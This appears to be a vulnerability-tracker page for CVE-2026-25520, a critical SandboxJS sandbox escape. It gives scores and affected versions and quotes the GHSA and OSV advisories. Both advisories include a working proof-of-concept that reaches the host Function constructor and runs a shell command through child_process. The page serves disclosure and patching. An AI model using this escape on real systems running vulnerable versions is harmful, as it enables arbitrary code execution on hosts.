CVE-2026-25520
published 2026-02-06CVE-2026-25520: SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get…
PriorityP262critical10CVSS 3.1
AVNACLPRNUINSCCHIHAH
EPSS
0.78%
51.4th percentile
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| nyariv | sandboxjs | < 0.8.29 | 0.8.29 |
| nyariv | sandboxjs | >= 0 < 0.8.29 | 0.8.29 |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
@nyariv/sandboxjs has a Sandbox Escape issue
ghsa·2026-02-05
CVE-2026-25520 [CRITICAL] CWE-74 @nyariv/sandboxjs has a Sandbox Escape issue
@nyariv/sandboxjs has a Sandbox Escape issue
### Summary
The return values of functions aren't wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host's `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox.
### Details
The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.
### PoC
```js
const s = require('@nyariv/sandboxjs').default;
const sb = new s();
payload = `
console.log(
Object.values(this).at(0)(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);
`
sb.compile(payload)().run();
```
```js
const s = require("@nyariv/sandboxjs"
OSV
@nyariv/sandboxjs has a Sandbox Escape issue
osv·2026-02-05
CVE-2026-25520 [CRITICAL] @nyariv/sandboxjs has a Sandbox Escape issue
@nyariv/sandboxjs has a Sandbox Escape issue
### Summary
The return values of functions aren't wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host's `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox.
### Details
The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.
### PoC
```js
const s = require('@nyariv/sandboxjs').default;
const sb = new s();
payload = `
console.log(
Object.values(this).at(0)(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);
`
sb.compile(payload)().run();
```
```js
const s = require("@nyariv/sandboxjs"
No detection rules found.
No public exploits indexed.
2026-02-06
Published